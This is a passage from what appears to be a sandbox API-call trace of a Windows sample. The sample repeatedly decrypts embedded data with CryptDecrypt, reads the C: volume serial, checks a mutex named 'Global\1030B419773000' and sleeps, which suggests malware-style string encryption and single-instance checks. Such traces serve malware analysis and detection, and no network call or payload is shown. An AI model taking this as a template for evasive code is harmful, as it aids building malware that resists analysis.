lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0031.627] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b11208 | out: hHeap=0x2b10000) returned 1 [0031.627] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x40) returned 0x2b111e0 [0031.627] CryptImportKey (in: hProv=0x10b66e0, pbData=0x2cefbf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cefc5c | out: phKey=0x2cefc5c*=0x10c9090) returned 1 [0031.627] CryptSetKeyParam (hKey=0x10c9090, dwParam=0x1, pbData=0x2cefc44, dwFlags=0x0) returned 1 [0031.627] CryptDecrypt (in: hKey=0x10c9090, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b111e0, pdwDataLen=0x2cefc10 | out: pbData=0x2b111e0, pdwDataLen=0x2cefc10) returned 1 [0031.627] CryptDestroyKey (hKey=0x10c9090) returned 1 [0031.627] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x34) returned 0x2b11228 [0031.627] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773000") returned 0x0 [0031.627] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\1030B419773000") returned 0x220 [0031.627] WaitForSingleObject (hHandle=0x220, dwMilliseconds=0x0) returned 0x0 [0031.627] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b111e0 | out: hHeap=0x2b10000) returned 1 [0031.627] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b11228 | out: hHeap=0x2b10000) returned 1 [0031.627] ReleaseMutex (hMutex=0x220) returned 1 [0031.627] CloseHandle (hObject=0x220) returned 1 [0031.627] Sleep (dwMilliseconds=0x3e8) [0032.730] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x20) returned 0x2b111e0 [0032.730] CryptImportKey (in: hProv=0x10b66e0, pbData=0x2cefbc0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cefc28 | out: phKey=0x2cefc28*=0x10c92d0) returned 1 [0032.730] CryptSetKeyParam (hKey=0x10c92d0, dwParam=0x1, pbData=0x2cefc10, dwFlags=0x0) returned 1 [0032.730] CryptDecrypt (in: hKey=0x10c92d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b111e0, pdwDataLen=0x2cefbdc | out: pbData=0x2b111e0, pdwDataLen=0x2cefbdc) returned 1 [0032.730] CryptDestroyKey (hKey=0x10c92d0) returned 1 [0032.730] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x1e) returned 0x2b11208 [0032.730] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x1e) returned 0x2b11230 [0032.730] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x90) returned 0x2b11258 [0032.730] CryptImportKey (in: hProv=0x10b66e0, pbData=0x2cefb98, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cefc00 | out: phKey=0x2cefc00*=0x10c9410) returned 1 [0032.730] CryptSetKeyParam (hKey=0x10c9410, dwParam=0x1, pbData=0x2cefbe8, dwFlags=0x0) returned 1 [0032.730] CryptDecrypt (in: hKey=0x10c9410, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b11258, pdwDataLen=0x2cefbb4 | out: pbData=0x2b11258, pdwDataLen=0x2cefbb4) returned 1 [0032.730] CryptDestroyKey (hKey=0x10c9410) returned 1 [0032.730] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b11258 | out: hHeap=0x2b10000) returned 1 [0032.730] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x2b11208, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0032.730] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b11230 | out: hHeap=0x2b10000) returned 1 [0032.731] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b111e0 | out: hHeap=0x2b10000) returned 1 [0032.731] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2cefc68, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2cefc68*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0032.731] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b11208 | out: hHeap=0x2b10000) returned 1 [0032.731] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x40) returned 0x2b111e0 [0032.731] CryptImportKey (in: hProv=0x10b66e0, pbData=0x2cefbf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cefc5c | out: phKey=0x2cefc5c*=0x10c92d0) returned 1 [0032.731] CryptSetKeyParam (hKey=0x10c92d0, dwParam=0x1, pbData=0x2cefc44, dwFlags=0x0) returned 1 [0032.731] CryptDecrypt (in: hKey=0x10c92d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b111e0, pdwDataLen=0x2cefc10 | out: pbData=0x2b111e0, pdwDataLen=0x2cefc10) returned 1 [0032.731] CryptDestroyKey (hKey=0x10c92d0) returned 1 [0032.731] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x34) returned 0x2b11228 [0032.731] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773000") returned 0x220 [0032.731] WaitForSingleObject (hHandle=0x220, dwMilliseconds=0x0) returned 0x102 [0032.731] CloseHandle (hObject=0x220) returned 1 [0032.731] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b111e0 | out: hHeap=0x2b10000) returned 1 [0032.731] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b11228 | out: hHeap=0x2b10000) returned 1 [0032.731] Sleep (dwMilliseconds=0x3e8) [0033.770] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x20) returned 0x2b111e0 [0033.770] CryptImportKey (in: hProv=0x10b66e0, pbData=0x2cefbc0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cefc28 | out: phKey=0x2cefc28*=0x10c9450) returned 1 [0033.770] CryptSetKeyParam (hKey=0x10c9450, dwParam=0x1, pbData=0x2cefc10, dwFlags=0x0) returned 1 [0033.770] CryptDecrypt (in: hKey=0x10c9450, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b111e0, pdwDataLen=0x2cefbdc | out: pbData=0x2b111e0, pdwDataLen=0x2cefbdc) returned 1 [0033.770] CryptDestroyKey (hKey=0x10c9450) returned 1 [0033.770] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x1e) returned 0x2b11208 [0033.770] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x1e) returned 0x2b11230 [0033.770] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x90) returned 0x2b11258 [0033.770] CryptImportKey (in: hProv=0x10b66e0, pbData=0x2cefb98, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cefc00 | out: phKey=0x2cefc00*=0x10c9410) returned 1 [0033.770] CryptSetKeyParam (hKey=0x10c9410, dwParam=0x1, pbData=0x2cefbe8, dwFlags=0x0) returned 1 [0033.770] CryptDecrypt (in: hKey=0x10c9410, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b11258, pdwDataLen=0x2cefbb4 | out: pbData=0x2b11258, pdwDataLen=0x2cefbb4) returned 1 [0033.770] CryptDestroyKey (hKey=0x10c9410) returned 1 [0033.770] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b11258 | out: hHeap=0x2b10000) returned 1 [0033.770] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x2b11208, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0033.770] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b11230 | out: hHeap=0x2b10000) returned 1 [0033.770] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b111e0 | out: hHeap=0x2b10000) returned 1 [0033.770] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2cefc68, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2cefc68*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0033.770] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b11208 | out: hHeap=0x2b10000) returned 1 [0033.770] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x40) returned 0x2b111e0 [0033.770] CryptImportKey (in: hProv=0x10b66e0, pbData=0x2cefbf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cefc5c | out: phKey=0x2cefc5c*=0x10c92d0) returned 1 [0033.770] CryptSetKeyParam (hKey=0x10c92d0, dwParam=0x1, pbData=0x2cefc44, dwFlags=0x0) returned 1 [0033.770] CryptDecrypt (in: hKey=0x10c92d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b111e0, pdwDataLen=0x2cefc10 | out: pbData=0x2b111e0, pdwDataLen=0x2cefc10) returned 1 [0033.770] CryptDestroyKey (hKey=0x10c92d0) returned 1 [0033.770] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x34) returned 0x2b11228 [0033.770] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773000") returned 0x220 [0033.771] WaitForSingleObject (hHandle=0x220, dwMilliseconds=0x0) returned 0x102 [0033.771] CloseHandle (hObject=0x220) returned 1 [0033.771] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b111e0 | out: hHeap=0x2b10000) returned 1 [0033.771] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b11228 | out: hHeap=0x2b10000) returned 1 [0033.771] Sleep (dwMilliseconds=0x3e8) [0034.784] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x20) returned 0x2b111e0 [0034.784] CryptImportKey (in: hProv=0x10b66e0, pbData=0x2cefbc0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cefc28 | out: phKey=0x2cefc28*=0x10c9410) returned 1 [0034.784] CryptSetKeyParam (hKey=0x10c9410, dwParam=0x1, pbData=0x2cefc10, dwFlags=0x0) returned 1 [0034.784] CryptDecrypt (in: hKey=0x10c9410, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b111e0, pdwDataLen=0x2cefbdc | out: pbData=0x2b111e0, pdwDataLen=0x2cefbdc) returned 1 [0034.784] CryptDestroyKey (hKey=0x10c9410) returned 1 [0034.784] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x1e) returned 0x2b11208 [0034.784] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x1e) returned 0x2b11230 [0034.784] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x90) returned 0x2b11258 [0034.784] CryptImportKey (in: hProv=0x10b66e0, pbData=0x2cefb98, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cefc00 | out: phKey=0x2cefc00*=0x10c92d0) returned 1 [0034.784] CryptSetKeyParam (hKey=0x10c92d0, dwParam=0x1, pbData=0x2cefbe8, dwFlags=0x0) returned 1 [0034.784] CryptDecrypt (in: hKey=0x10c92d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b11258, pdwDataLen=0x2cefbb4 | out: pbData=0x2b11258, pdwDataLen=0x2cefbb4) returned 1 [0034.784] CryptDestroyKey (hKey=0x10c92d0) returned 1 [0034.784] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b11258 | out: hHeap=0x2b10000) returned 1 [0034.784] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x2b11208, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0034.784] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b11230 | out: hHeap=0x2b10000) returned 1 [0034.784] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b111e0 | out: hHeap=0x2b10000) returned 1 [0034.784] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2cefc68, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2cefc68*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0034.784] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b11208 | out: hHeap=0x2b10000) returned 1 [0034.784] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x40) returned 0x2b111e0 [0034.784] CryptImportKey (in: hProv=0x10b66e0, pbData=0x2cefbf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cefc5c | out: phKey=0x2cefc5c*=0x10c92d0) returned 1 [0034.784] CryptSetKeyParam (hKey=0x10c92d0, dwParam=0x1, pbData=0x2cefc44, dwFlags=0x0) returned 1 [0034.784] CryptDecrypt (in: hKey=0x10c92d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b111e0, pdwDataLen=0x2cefc10 | out: pbData=0x2b111e0, pdwDataLen=0x2cefc10) returned 1 [0034.784] CryptDestroyKey (hKey=0x10c92d0) returned 1 [0034.784] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x34) returned 0x2b11228 [0034.784] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773000") returned 0x220 [0034.785] WaitForSingleObject (hHandle=0x220, dwMilliseconds=0x0) returned 0x102 [0034.785] CloseHandle (hObject=0x220) returned 1 [0034.785] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b111e0 | out: hHeap=0x2b10000) returned 1 [0034.785] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b11228 | out: hHeap=0x2b10000) returned 1 [0034.785] Sleep (dwMilliseconds=0x3e8) [0035.810] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x20) returned 0x2b111e0 [0035.810] CryptImportKey (in: hProv=0x10b66e0, pbData=0x2cefbc0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cefc28 | out: phKey=0x2cefc28*=0x10c92d0) returned 1 [0035.810] CryptSetKeyParam (hKey=0x10c92d0, dwParam=0x1, pbData=0x2cefc10, dwFlags=0x0) returned 1 [0035.810] CryptDecrypt (in: hKey=0x10c92d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b111e0, pdwDataLen=0x2cefbdc | out: pbData=0x2b111e0, pdwDataLen=0x2cefbdc) returned 1 [0035.810] CryptDestroyKey (hKey=0x10c92d0) returned 1 [0035.810] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x1e) returned 0x2b11208 [0035.810] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x1e) returned 0x2b11230 [0035.810] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x90) returned 0x2b11258 [0035.810] CryptImportKey (in: hProv=0x10b66e0, pbData=0x2cefb98, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cefc00 | out: phKey=0x2cefc00*=0x10c9410) returned 1 [0035.810] CryptSetKeyParam (hKey=0x10c9410, dwParam=0x1, pbData=0x2cefbe8, dwFlags=0x0) returned 1 [0035.810] CryptDecrypt (in: hKey=0x10c9410, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b11258, pdwDataLen=0x2cefbb4 | out: pbData=0x2b11258, pdwDataLen=0x2cefbb4) returned 1 [0035.810] CryptDestroyKey (hKey=0x10c9410) returned 1 [0035.810] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b11258 | out: hHeap=0x2b10000) returned 1 [0035.810] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x2b11208, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0035.810] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b11230 | out: hHeap=0x2b10000) returned 1 [0035.810] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b111e0 | out: hHeap=0x2b10000) returned 1 [0035.810] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2cefc68, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2cefc68*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0035.810] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b11208 | out: hHeap=0x2b10000) returned 1 [0035.810] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x40) returned 0x2b111e0 [0035.811] CryptImportKey (in: hProv=0x10b66e0, pbData=0x2cefbf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cefc5c | out: phKey=0x2cefc5c*=0x10c9410) returned 1 [0035.811] CryptSetKeyParam (hKey=0x10c9410, dwParam=0x1, pbData=0x2cefc44, dwFlags=0x0) returned 1 [0035.811] CryptDecrypt (in: hKey=0x10c9410, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b111e0, pdwDataLen=0x2cefc10 | out: pbData=0x2b111e0, pdwDataLen=0x2cefc10) returned 1 [0035.811] CryptDestroyKey (hKey=0x10c9410) returned 1 [0035.811] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x34) returned 0x2b11228 [0035.811] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773000") returned 0x220 [0035.811] WaitForSingleObject (hHandle=0x220, dwMilliseconds=0x0) returned 0x102 [0035.811] CloseHandle (hObject=0x220) returned 1 [0035.811] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b111e0 | out: hHeap=0x2b10000) returned 1 [0035.811] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b11228 | out: hHeap=0x2b10000) returned 1 [0035.811] Sleep (dwMilliseconds=0x3e8) [0036.987] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x20) returned 0x2b11248 [0036.987] CryptImportKey (in: hProv=0x10b66e0, pbData=0x2cefbc0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cefc28 | out: phKey=0x2cefc28*=0x10c9410) returned 1 [0036.987] CryptSetKeyParam (hKey=0x10c9410, dwParam=0x1, pbData=0x2cefc10, dwFlags=0x0) returned 1 [0036.987] CryptDecrypt (in: hKey=0x10c9410, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b11248, pdwDataLen=0x2cefbdc | out: pbData=0x2b11248, pdwDataLen=0x2cefbdc) returned 1 [0036.987] CryptDestroyKey (hKey=0x10c9410) returned 1 [0036.987] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x1e) returned 0x2b11270 [0036.987] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x1e) returned 0x2b11488 [0036.987] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x90) returned 0x2b15298 [0036.987] CryptImportKey (in: hProv=0x10b66e0, pbData=0x2cefb98, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cefc00 | out: phKey=0x2cefc00*=0x10c92d0) returned 1 [0036.987] CryptSetKeyParam (hKey=0x10c92d0, dwParam=0x1, pbData=0x2cefbe8, dwFlags=0x0) returned 1 [0036.987] CryptDecrypt (in: hKey=0x10c92d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b15298, pdwDataLen=0x2cefbb4 | out: pbData=0x2b15298, pdwDataLen=0x2cefbb4) returned 1 [0036.987] CryptDestroyKey (hKey=0x10c92d0) returned 1 [0036.987] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b15298 | out: hHeap=0x2b10000) returned 1 [0036.987] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x2b11270, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0036.987] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b11488 | out: hHeap=0x2b10000) returned 1 [0036.987] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b11248 | out: hHeap=0x2b10000) returned 1 [0036.987] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2cefc68, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2cefc68*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0036.987] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b11270 | out: hHeap=0x2b10000) returned 1 [0036.987] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x40) returned 0x2b11248 [0036.987] CryptImportKey (in: hProv=0x10b66e0, pbData=0x2cefbf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cefc5c | out: phKey=0x2cefc5c*=0x10c92d0) returned 1 [0036.987] CryptSetKeyParam (hKey=0x10c92d0, dwParam=0x1, pbData=0x2cefc44, dwFlags=0x0) returned 1 [0036.987] CryptDecrypt (in: hKey=0x10c92d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b11248, pdwDataLen=0x2cefc10 | out: pbData=0x2b11248, pdwDataLen=0x2cefc10) returned 1 [0036.987] CryptDestroyKey (hKey=0x10c92d0) returned 1 [0036.987] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x34) returned 0x2b11488 [0036.988] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773000") returned 0x2c0 [0036.988] WaitForSingleObject (hHandle=0x2c0, dwMilliseconds=0x0) returned 0x102 [0036.988] CloseHandle (hObject=0x2c0) returned 1 [0036.988] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b11248 | out: hHeap=0x2b10000) returned 1 [0036.988] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b11488 | out: hHeap=0x2b10000) returned 1 [0036.988] Sleep (dwMilliseconds=0x3e8) [0038.023] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x20) returned 0x2b11248 [0038.023] CryptImportKey (in: hProv=0x10b66e0, pbData=0x2cefbc0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cefc28 | out: phKey=0x2cefc28*=0x10c92d0) returned 1 [0038.023] CryptSetKeyParam (hKey=0x10c92d0, dwParam=0x1, pbData=0x2cefc10, dwFlags=0x0) returned 1 [0038.023] CryptDecrypt (in: hKey=0x10c92d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b11248, pdwDataLen=0x2cefbdc | out: pbData=0x2b11248, pdwDataLen=0x2cefbdc) returned 1 [0038.023] CryptDestroyKey (hKey=0x10c92d0) returned 1 [0038.023] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x1e) returned 0x2b11270 [0038.023] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x1e) returned 0x2b11488 [0038.023] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x90) returned 0x2b15298 [0038.023] CryptImportKey (in: hProv=0x10b66e0, pbData=0x2cefb98, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cefc00 | out: phKey=0x2cefc00*=0x10c9410) returned 1 [0038.023] CryptSetKeyParam (hKey=0x10c9410, dwParam=0x1, pbData=0x2cefbe8, dwFlags=0x0) returned 1 [0038.023] CryptDecrypt (in: hKey=0x10c9410, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b15298, pdwDataLen=0x2cefbb4 | out: pbData=0x2b15298, pdwDataLen=0x2cefbb4) returned 1 [0038.023] CryptDestroyKey (hKey=0x10c9410) returned 1 [0038.023] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b15298 | out: hHeap=0x2b10000) returned 1 [0038.023] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x2b11270, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0038.023] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b11488 | out: hHeap=0x2b10000) returned 1 [0038.023] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b11248 | out: hHeap=0x2b10000) returned 1 [0038.023] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2cefc68, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2cefc68*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0038.023] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b11270 | out: hHeap=0x2b10000) returned 1 [0038.023] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x40) returned 0x2b11248 [0038.023] CryptImportKey (in: hProv=0x10b66e0, pbData=0x2cefbf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cefc5c | out: phKey=0x2cefc5c*=0x10c92d0) returned 1 [0038.023] CryptSetKeyParam (hKey=0x10c92d0, dwParam=0x1, pbData=0x2cefc44, dwFlags=0x0) returned 1 [0038.023] CryptDecrypt (in: hKey=0x10c92d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b11248, pdwDataLen=0x2cefc10 | out: pbData=0x2b11248, pdwDataLen=0x2cefc10) returned 1 [0038.023] CryptDestroyKey (hKey=0x10c92d0) returned 1 [0038.023] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x34) returned 0x2b11488 [0038.023] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773000") returned 0x298 [0038.023] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x0) returned 0x102 [0038.024] CloseHandle (hObject=0x298) returned 1 [0038.024] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b11248 | out: hHeap=0x2b10000) returned 1 [0038.024] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b11488 | out: hHeap=0x2b10000) returned 1 [0038.024] Sleep (dwMilliseconds=0x3e8) [0039.935] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x20) returned 0x2b11248 [0039.935] CryptImportKey (in: hProv=0x10b66e0, pbData=0x2cefbc0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cefc28 | out: phKey=0x2cefc28*=0x10c9410) returned 1 [0039.935] CryptSetKeyParam (hKey=0x10c9410, dwParam=0x1, pbData=0x2cefc10, dwFlags=0x0) returned 1 [0039.935] CryptDecrypt (in: hKey=0x10c9410, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b11248, pdwDataLen=0x2cefbdc | out: pbData=0x2b11248, pdwDataLen=0x2cefbdc) returned 1 [0039.935] CryptDestroyKey (hKey=0x10c9410) returned 1 [0039.935] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x1e) returned 0x2b11270 [0039.935] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x1e) returned 0x2b11488 [0039.935] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x90) returned 0x2b15298 [0039.935] CryptImportKey (in: hProv=0x10b66e0, pbData=0x2cefb98, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cefc00 | out: phKey=0x2cefc00*=0x10c92d0) returned 1 [0039.935] CryptSetKeyParam (hKey=0x10c92d0, dwParam=0x1, pbData=0x2cefbe8, dwFlags=0x0) returned 1 [0039.935] CryptDecrypt (in: hKey=0x10c92d0, 